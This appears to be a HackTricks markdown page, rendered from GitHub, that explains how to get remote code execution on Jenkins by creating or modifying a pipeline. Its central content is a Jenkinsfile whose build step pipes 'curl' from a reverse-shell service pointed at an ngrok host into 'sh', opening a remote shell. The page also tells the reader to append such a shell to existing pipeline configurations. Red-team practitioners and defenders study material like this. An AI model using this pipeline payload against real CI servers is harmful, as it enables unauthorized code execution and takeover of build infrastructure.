Skip to content

Latest commit

 

History

History
65 lines (44 loc) · 3.1 KB

jenkins-rce-creating-modifying-pipeline.md

File metadata and controls

65 lines (44 loc) · 3.1 KB

Jenkins RCE Creating/Modifying Pipeline

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Creating a new Pipeline

In "New Item" (accessible in /view/all/newJob) select Pipeline:

In the Pipeline section write the reverse shell:

pipeline {
    agent any

    stages {
        stage('Hello') {
            steps {
                sh '''
                    curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
                '''
            }
        }
    }
}

Finally click on Save, and Build Now and the pipeline will be executed:

Modifying a Pipeline

If you can access the configuration file of some pipeline configured you could just modify it appending your reverse shell and then execute it or wait until it gets executed.

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}